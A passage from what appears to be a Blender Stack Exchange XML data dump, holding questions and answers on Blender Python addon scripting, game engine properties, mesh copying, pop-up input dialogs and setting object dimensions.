&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit, for clarification&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;specifically&lt;/em&gt; need a &lt;code&gt;StringProperty&lt;/code&gt; to be updated, and not just a regular text label. This is because the &lt;code&gt;StringProperty&lt;/code&gt; (and other properties) will display some specific information about the selected object, which the user then can change to change the selected object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My current code&lt;/strong&gt;, where the &lt;code&gt;StringProperty&lt;/code&gt; is updated manually by click:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Define string property.&#xA;class MyGroup(bpy.types.PropertyGroup):&#xA;    bpy.types.Scene.my_string = bpy.props.StringProperty(name='my_string')&#xA;&#xA;# Define operator to change string property.&#xA;last_selection = []&#xA;class UpdateStringOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;update.mystring&quot; &#xA;    bl_label = &quot;&quot;&#xA;    def invoke(self, context, event):&#xA;        global last_selection&#xA;        if bpy.context.selected_objects != last_selection:&#xA;            last_selection = bpy.context.selected_objects&#xA;            bpy.context.scene.my_string = bpy.context.selected_objects[0].name&#xA;        return {'FINISHED'}&#xA;&#xA;# Draw property and operator.&#xA;class MyPanel(bpy.types.Panel):&#xA;    ...&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.row().prop(context.scene, &quot;my_string&quot;)&#xA;        layout.row().operator(&quot;update.mystring&quot;, text=&quot;Update&quot;)&#xA;&#xA;# Register.&#xA;def register():  &#xA;    bpy.utils.register_module(__name__)&#xA;def unregister(): &#xA;    bpy.utils.unregister_module(__name__)&#xA;if __name__ == &quot;__main__&quot;: &#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11024" LastEditorUserId="11024" LastEditDate="2015-05-27T02:50:36.840" LastActivityDate="2015-05-27T16:03:26.193" Title="Update StringProperty on object selection change?" Tags="&lt;python&gt;&lt;objects&gt;&lt;add-on&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31352" PostTypeId="2" ParentId="31350" CreationDate="2015-05-23T16:38:39.610" Score="1" Body="&lt;p&gt;Start with a plane. Subdivide it like 100 times.&#xA;In Top ortho view unwrap it using project from view bounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tySUk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to the plane add a displace modifier that uses your hieght map as texture. Make sure the texture coordinates are set to UV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a smoother surface add a subsurf modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there just set the camera where you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7I0cW.gif&quot; alt=&quot;A&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-23T16:59:54.443" LastActivityDate="2015-05-23T16:59:54.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31353" PostTypeId="2" ParentId="31348" CreationDate="2015-05-23T17:15:21.280" Score="20" Body="&lt;p&gt;You can create a &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.ID.html#bpy.types.ID.copy&quot; rel=&quot;nofollow noreferrer&quot;&gt;copy of the Mesh datablock&lt;/a&gt;, create a new Object, position it where ever you want and attach it to the current collection/scene like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.8x&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;C = bpy.context&#xA;me = C.object.data # use current object's data&#xA;me_copy = me.copy()&#xA;&#xA;ob = bpy.data.objects.new(&amp;quot;Mesh Copy&amp;quot;, me_copy)&#xA;ob.location = (1,2,3)&#xA;&#xA;# Link object to the collection in context&#xA;C.collection.objects.link(ob)&#xA;&#xA;# Update the view layer&#xA;C.view_layer.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7x&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;me = bpy.context.object.data # use current object's data&#xA;me_copy = me.copy()&#xA;&#xA;ob = bpy.data.objects.new(&amp;quot;Mesh Copy&amp;quot;, me_copy)&#xA;ob.location = (1,2,3)&#xA;&#xA;scene = bpy.context.scene&#xA;scene.objects.link(ob)&#xA;scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may also duplicate the original object. If you set the new object's &lt;code&gt;data&lt;/code&gt; attribute to the original mesh datablock (no mesh copy created), it will be a linked duplicate.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="31447" LastEditDate="2020-10-03T17:22:45.510" LastActivityDate="2020-10-03T17:22:45.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31355" PostTypeId="2" ParentId="31346" CreationDate="2015-05-23T17:43:05.227" Score="4" Body="&lt;p&gt;Create a polyline. (btw, imposing pure bmesh requirements on this is probably arbitrary, and using &lt;a href=&quot;https://blender.stackexchange.com/a/2408/47&quot;&gt;from_pydata&lt;/a&gt; is just as good)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;scene = bpy.context.scene &#xA;meshes = bpy.data.meshes&#xA;objects = bpy.data.objects&#xA;&#xA;# generate polyline &#xA;&#xA;bm = bmesh.new()&#xA;verts = [bm.verts.new((0, 0, z)) for z in range(5)]&#xA;&#xA;for i in range(len(verts)-1):&#xA;    bm.edges.new([verts[i], verts[i+1]])&#xA;&#xA;me = meshes.new('placeholder_mesh')&#xA;mesh_obj = objects.new('polyline', me)&#xA;&#xA;scene.objects.link(mesh_obj)&#xA;&#xA;bm.to_mesh(me)&#xA;bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run this on a polyline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;# Get the active mesh&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;# Get a BMesh representation&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;bmesh.ops.extrude_edge_only(bm, edges=bm.edges[:])&#xA;bmesh.ops.translate(bm, vec=Vector((0,1.2,0)), verts=[v for v in bm.verts if v.select])&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See TextEditor -&gt; Templates -&gt; Python -&gt; Simple Bmesh (edit mode) for the templates.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It might just be simpler to construct the polygon loop from scratch using from_pydata. It really depends on the final use-case&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-05-23T18:56:41.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31356" PostTypeId="1" AcceptedAnswerId="31566" CreationDate="2015-05-23T17:56:10.903" Score="5" ViewCount="1415" Body="&lt;p&gt;How do I create a realistic space ship controls like EVE Online has using the Blender Game Engine? I'm trying to create a really small space RPG that's like a super-mini-version of (excluding the fact that it is not online) EVE Online. Click based controls; Click anywhere on in the empty areas of space around the ship and your ship will move to wherever you clicked or, for example, if I click in the space when my ship turns it leans to its side a little bit to give a realistic turn as a plane in real life would. I'm into python so that is always an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a link to my onedrive, be sure to access the untitled7.blend file to see my game and problems of course: &lt;a href=&quot;https://onedrive.live.com/?cid=FFFC2E073E89A1F8&amp;amp;id=FFFC2E073E89A1F8!118&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onedrive.live.com/?cid=FFFC2E073E89A1F8&amp;amp;id=FFFC2E073E89A1F8!118&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ship has a red front and blue body. The landing and take off floor is green and my no gravity space is grey for now.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rjgVs.png&quot; alt=&quot;This is just what my space looks like.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is all my controls and stuff below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Td2FS.png&quot; alt=&quot;Controls&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This picture shows the controls for the ship to move right that could not be shown from the image 2 above.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mkkZP.png&quot; alt=&quot;The last control that couldn&amp;#39;t be viewed from other controls picture.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my physics stuff of my space ship.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/037zN.png&quot; alt=&quot;Physics stuff of my space ship.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, this is all my game engine status and stuff.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CDcE0.png&quot; alt=&quot;World stuff&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="5426" LastEditDate="2015-05-27T21:20:38.213" LastActivityDate="2016-12-28T18:23:51.370" Title="How can I create a realistic space ship click based controls like EVE Online using BGE?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31358" PostTypeId="2" ParentId="31335" CreationDate="2015-05-23T18:05:15.650" Score="2" Body="&lt;p&gt;'0' may be the starting point for programming, but blender is aimed at &lt;em&gt;artists&lt;/em&gt;, who may well not have any programming knowledge, for which a zero-starting counting system may not make any sense. Of course, the artist &lt;em&gt;may&lt;/em&gt; have programming knowledge and be aware of zero-starting counting, but it is not presumed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame '0' has no significance or importance over any other frame. If users choose to consistently do something with that '0' frame then that would be an individual choice, and not a standard convention (as far as I'm aware).&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-05-23T20:04:31.533" LastActivityDate="2015-05-23T20:04:31.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31359" PostTypeId="1" CreationDate="2015-05-23T18:22:26.023" Score="0" ViewCount="224" Body="&lt;p&gt;I'm sure this must be something I have just overlooked or misunderstood, but I cannot for figure out why I can't solve camera motion in this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 8 tracked points, with seemingly very smooth motion, yet when attempting to solve camera motion it refuses giving the &quot;At least 8 common tracks are needed on both key-frames for reconstruction&quot;. My keyframes are at frames 0 and 67, the same as was set for solving. Yet I still get nothing each time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gfycat.com/ThunderousHorribleFlee&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a short clip of the situation for additional context. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that the 8 points track from 0 to 67 then stop, yet that range for solving does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help. &lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2015-05-23T18:22:26.023" Title="2.74 Camera Solve failing despite having 8 consistent tracks and matching keyframes" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-05-23T19:05:34.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="31360" PostTypeId="1" AcceptedAnswerId="31361" CreationDate="2015-05-23T19:52:51.340" Score="0" ViewCount="474" Body="&lt;p&gt;I am looking to have one preoperty follow another, but to be less in size. Example: speed is 1, proportion is 0.1; speed is 10... and so on. How would I achieve this? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code (not working):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;def property(cont):    &#xA;    own = cont.owner&#xA;&#xA;    if 'Speed' in own and 'Recoil_Level' in own and 'Proportion_Size' in own:&#xA;&#xA;        speed = own['Speed']&#xA;        level = own['Recoil_Level']&#xA;        size = own['Proportion_Size']&#xA;&#xA;    else:&#xA;        print('No properties found in Weapon_Recoil_Level_Determiner')&#xA;        return&#xA;&#xA;    level = speed / size&#xA;        print(&quot;recoil level: &quot;, level)    &#xA;&#xA;cont = logic.getCurrentController()      &#xA;property(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="5113" LastEditDate="2015-05-23T20:02:35.417" LastActivityDate="2015-05-23T22:50:29.143" Title="Proportions in python?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31361" PostTypeId="2" ParentId="31360" CreationDate="2015-05-23T20:03:54.110" Score="2" Body="&lt;p&gt;Always assign to the property itself not a copy of it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;def property(cont):    &#xA;    own = cont.owner&#xA;&#xA;    if 'Speed' in own and 'Recoil_Level' in own and 'Proportion_Size' in own:&#xA;&#xA;        speed = own['Speed']&#xA;        level = own['Recoil_Level']&#xA;        size = own['Proportion_Size']&#xA;&#xA;    else:&#xA;        print('No properties found in Weapon_Recoil_Level_Determiner')&#xA;        return&#xA;&#xA;    own['Recoil_Level']= speed / size&#xA;        print(&quot;recoil level: &quot;, own['Recoil_Level'])    &#xA;&#xA;cont = logic.getCurrentController()      &#xA;property(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;level&lt;/code&gt; is just a copy ( not exactly but this how you should see it ) when you write  &lt;code&gt;level = speed / size&lt;/code&gt; then &lt;code&gt;level&lt;/code&gt; will change but  &lt;code&gt;own['Recoil_Level']&lt;/code&gt; won't change&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-23T22:50:29.143" LastActivityDate="2015-05-23T22:50:29.143" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31362" PostTypeId="1" AcceptedAnswerId="31364" CreationDate="2015-05-23T20:12:37.393" Score="2" ViewCount="377" Body="&lt;p&gt;I basically want to press this X button using python,&#xA;or possible just switch to another image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GODZ2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I want to do this is because I'm using the image editor to move and scale the UV vertices of an object, and it doesn't work if the &quot;Rendered Result&quot; image is selected in the image editor, any other image can be selected, just not this one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.area.type = 'IMAGE_EDITOR'&#xA;bpy.ops.uv.select_all(action='TOGGLE')&#xA;bpy.ops.transform.resize(value=(0,0,0))&#xA;bpy.ops.transform.translate(value=(-tx,-ty,0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14265" LastActivityDate="2015-05-23T20:28:08.843" Title="Unlink image from the Image Editor using Python" Tags="&lt;python&gt;&lt;image&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31364" PostTypeId="2" ParentId="31362" CreationDate="2015-05-23T20:28:08.843" Score="4" Body="&lt;p&gt;Check if it is a render image then switch to another one (in here no image is chosen )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas :&#xA;    if area.type == 'IMAGE_EDITOR' :&#xA;        if area.spaces.active.image.type == 'RENDER_RESULT' :&#xA;            area.spaces.active.image = None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-23T20:28:08.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31365" PostTypeId="1" AcceptedAnswerId="31366" CreationDate="2015-05-23T20:33:13.793" Score="1" ViewCount="1433" Body="&lt;p&gt;I want to do it so that when they press a button a window comes up which says 'Subdivision Level' and then an input where whoever's using it can put in a number which changes how much subdivision to add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class customMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Useful Menu&quot;&#xA;    bl_idname = &quot;view3D.custom_menu&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.operator(&quot;bpy.ops.object.subdivision_set(level=1&quot;)&#xA;        layout.operator(&quot;object.duplicate_move&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(customMenu)&#xA;    #bpy.ops.wm.call_menu(name=customMenu.bl_idname)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(customMenu)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how to do everything else I'm just confused about how to make something which allows people to put in inputs/make a slider/make a check box in blender python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mind if as an answer you just put the code on how to make these input types or if you link a wiki article or something. I'm just having problems finding the right website and I'm pretty sure it can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the &lt;a href=&quot;https://www.youtube.com/watch?v=pim5YIfWv-M&quot; rel=&quot;nofollow&quot;&gt;blender tutorial&lt;/a&gt; that I currently want the input for. So that when I click something on the mini-menu, another mini-menu-thing will open asking how much levels you want and if you want it simple or catmull-clark etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry if it's obvious but I couldn't find an answer anywhere.&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="3078" LastEditDate="2015-05-25T21:43:07.620" LastActivityDate="2015-05-25T21:43:07.620" Title="How to create a pop-up menu to get numerical input" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31366" PostTypeId="2" ParentId="31365" CreationDate="2015-05-23T20:40:05.513" Score="4" Body="&lt;p&gt;You can create an operator which will show a menu when called , this is the Simple Operator example edited to fit this case :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fP6kn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run the script to rigster the operator&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Space&lt;/kbd&gt; and type &lt;code&gt;Simple Object Operator&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import IntProperty&#xA;&#xA;def main(self, context):&#xA;    bpy.ops.object.subdivision_set(level=self.level)&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    level = IntProperty(default = 1, min = 0, max = 10)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(self, context)&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        return wm.invoke_props_dialog(self)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-25T21:28:51.433" LastActivityDate="2015-05-25T21:28:51.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31367" PostTypeId="1" AcceptedAnswerId="31369" CreationDate="2015-05-23T20:41:28.283" Score="19" ViewCount="90805" Body="&lt;p&gt;Is there a way to set absolute dimensions of an object. Once I've created a cylinder for example, how can I go back and change the length? I know I can scale it, but I want to set an absolute length and cannot find any panels, tools, etc., to show / edit this data.&lt;/p&gt;&#xA;" OwnerUserId="14565" LastEditorUserId="3710" LastEditDate="2015-05-24T16:26:32.003" LastActivityDate="2018-08-01T14:08:48.813" Title="How to set object dimension" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31368" PostTypeId="1" CreationDate="2015-05-23T20:46:41.860" Score="0" ViewCount="387" Body="&lt;p&gt;I have a motion tracking point set to track location and scale. This works great, however, I can not figure out how to access the scale data in order to use it as part of a driver. Could somebody tell me where I can find the scale value for individual tracking points? &lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2015-05-23T20:46:41.860" Title="Accessing Scale data from motion tracked point" Tags="&lt;tracking&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31369" PostTypeId="2" ParentId="31367" CreationDate="2015-05-23T20:48:05.030" Score="21" Body="&lt;p&gt;In Object mode :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to show the properties panel&lt;/li&gt;&#xA;&lt;li&gt;Select your object&lt;/li&gt;&#xA;&lt;li&gt;You can set the dimension from the panel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wD523.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note :&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;These are the dimensions of the bounding box and not the height, width and depth of the cube&lt;/li&gt;&#xA;&lt;li&gt;You can't set the diameter height as you did when creating the object&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="38508" LastEditDate="2017-04-28T11:31:37.993" LastActivityDate="2017-04-28T11:31:37.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31370" PostTypeId="2" ParentId="31367" CreationDate="2015-05-23T21:02:18.047" Score="14" Body="&lt;p&gt;Since you mentioned scaling: The above answer allows you to do this; but, in some cases this can cause problems because it applies a transformation to your object, especially if you start working in absolute lengths, like in feet or meters.  In order to get scaling back to the original 1.000 scaling and avoid this problem you must apply the transformation to your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, while still in Object Mode and the object selected, key [CTRL-A] then select [Scale], this will convert the scale back to 1.000, this in effect removes the scale transformation, and sets the data such that no transformation applies and any scaling will no longer affect your 'absolute' dimensions.  It is particularly useful when using absolute units. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need absolute values for feet or meters, you can find this setting under Properties/Scene/Units, then select 'Metric' or 'Imperial' and specify the units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1quJJ.jpg&quot; alt=&quot;Units Window in Properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Separate units: will list the units broken down. Example: Imperial: 3.5'=&gt;3'6&quot;&lt;/li&gt;&#xA;&lt;li&gt;Scale: Blender Units (BU) per unit measure.  Example Scale Imperial: 1 BU = 1 ft, 0.1 BU = 1 foot, 0.01 BU = 1 ft, etc. (this appears in the grid size) &lt;/li&gt;&#xA;&lt;li&gt;Metric and Imperial don't mix: For example: Imperial: 3m = 3 mi; Metric: 3m=3 meters.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14243" LastEditorUserId="14243" LastEditDate="2015-05-24T16:02:08.657" LastActivityDate="2015-05-24T16:02:08.657" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31371" PostTypeId="2" ParentId="31329" CreationDate="2015-05-23T21:24:10.997" Score="1" Body="&lt;p&gt;I assume you used 'Automatic weights'. A reason could be that the piece of the hand that you want to control with this bone, this same piece is also controlled by another bone. This results in a mix of both bones. You have to find out which other unwanted bone is also controlling that piece of hand and edit its weights. But I'm not sure whether this is what you mean, I could be wrong :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-23T21:24:10.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31373" PostTypeId="1" AcceptedAnswerId="31484" CreationDate="2015-05-24T00:29:38.630" Score="2" ViewCount="141" Body="&lt;p&gt;Lets say I have &lt;code&gt;W&lt;/code&gt; binded to walk forward. What if a user is, well, left-handed (example), and uses another key? There is a way to change this but it is &lt;strong&gt;way too long and absurd&lt;/strong&gt;. What is the best way to let a bind be changed? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-05-26T09:50:38.377" Title="Bind keys in GE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31374" PostTypeId="2" ParentId="5466" CreationDate="2015-05-24T01:20:12.443" Score="5" Body="&lt;p&gt;The first problem is the context &lt;code&gt;view3d.select_border()&lt;/code&gt; should be called inside the 3D_VIEW region,&#xA;the second problem is the gesture mode which should be 3 for the function to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A minimal code example will be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        override = bpy.context.copy()&#xA;        override['area'] = area&#xA;        override['region'] = area.regions[4]&#xA;        bpy.ops.view3d.select_border(override, gesture_mode=3, xmin=0, xmax=600, ymin=0, ymax=600, extend=True)&#xA;        break   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is more extended example which implement the border selection tool ( when you press &lt;kbd&gt;B&lt;/kbd&gt; ) the following script is a modal operator with bgl drawing function to draw the box of selection.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;run the script&lt;/li&gt;&#xA;&lt;li&gt;in the 3d view hit &lt;kbd&gt;Space&lt;/kbd&gt; and type &lt;code&gt;Simple Box&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;start selecting by holding the &lt;kbd&gt;LMB&lt;/kbd&gt; and end selection by releasing it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;from mathutils import Vector&#xA;from bpy.props import IntProperty, BoolProperty&#xA;&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(1.0, 1.0, 1.0, 0.5)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;    if self.selecting :&#xA;        # when selecting draw dashed line box&#xA;        bgl.glEnable(bgl.GL_LINE_STIPPLE)&#xA;        bgl.glLineStipple(2, 0x3333)&#xA;        bgl.glBegin(bgl.GL_LINE_LOOP)&#xA;&#xA;        bgl.glVertex2i(self.min_x, self.min_y)&#xA;        bgl.glVertex2i(self.min_x, self.max_y)&#xA;        bgl.glVertex2i(self.max_x, self.max_y)&#xA;        bgl.glVertex2i(self.max_x, self.min_y)&#xA;&#xA;        bgl.glEnd()&#xA;&#xA;        bgl.glDisable(bgl.GL_LINE_STIPPLE)&#xA;    else :&#xA;        # before selection starts draw infinite cross&#xA;        bgl.glBegin(bgl.GL_LINES)&#xA;&#xA;        bgl.glVertex2i(0, self.max_y)&#xA;        bgl.glVertex2i(context.area.width, self.max_y)        &#xA;&#xA;        bgl.glVertex2i(self.max_x, 0)&#xA;        bgl.glVertex2i(self.max_x, context.area.height)&#xA;&#xA;        bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class SelectOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;simple box selection &quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.box_select&quot;&#xA;    bl_label = &quot;Simple Box Select Operator&quot;&#xA;&#xA;    min_x = IntProperty(default = 0)&#xA;    min_y = IntProperty(default = 0)&#xA;    max_x = IntProperty()&#xA;    max_y = IntProperty()&#xA;&#xA;    selecting = BoolProperty(default = False) # just for drawing in bgl&#xA;&#xA;    def modal(self, context, event):&#xA;        